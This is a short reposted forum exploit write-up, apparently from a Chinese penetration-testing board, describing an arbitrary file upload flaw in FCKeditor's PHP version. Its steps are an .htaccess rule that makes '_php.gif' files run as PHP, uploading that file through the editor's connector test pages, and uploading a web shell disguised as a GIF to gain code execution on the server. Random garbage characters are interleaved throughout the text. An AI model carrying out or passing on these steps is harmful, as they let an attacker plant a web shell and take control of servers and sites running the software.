| FCKeditor所有php版本Upload上传漏洞8 a4 [( b( x4 i* V* N$ x 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体0 S8 y$ o- f/ s5 e [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability: Q2 K* W( P( f* L6 P1 u4 i [+] Date: 2011& {: h, R$ h& ?# P6 p5 J [+] Author : sinesafe.cn8 o+ `4 D: \. [. _* j, ^) W2 F [+] Website : WwW.sinesafe.cn4 y7 V5 b, i5 b" o y+ l7 q' r% j ———————————————————% G( A# U8 [% U+ @9 B5 D9 f 1.create a htaccess file: code:' Y0 T, \( _( z6 P5 Z <FilesMatch “_php.gif”> SetHandler application/x-httpd-php; r. L( \( O% Q3 k" r. U </FilesMatch>. m% ^8 `4 ]. }; C4 q4 J 0 |( d `& m& d: f; P+ M9 g 2.Now upload this htaccess with FCKeditor.3 b5 P5 ^4 ^$ p O" y 9 N7 J1 F" O4 [7 V http://www.sinesafe.cn/FCKeditor ... er/upload/test.html* g% r8 X0 D; z# Q3 a9 p . q9 i6 j7 o: ^1 q- D7 Q9 C http://www.sinesafe.cn/FCKeditor ... onnectors/test.html9 r. H* W. c1 W6 K4 c + j$ P5 b: h2 Z( [ ———————————————————————————————-; e h H! K2 o2 h! a9 i/ d 3.Now upload shell.php.gif with FCKeditor.* Q* O5 S# K5 w) t( X3 N' c) k 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.7 S+ V; }( { ?/ E3 A4 A$ \; V; { 5.http://www.sinesafe.cn/anything/shell_php.gif 6.Now shell is available from server. |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |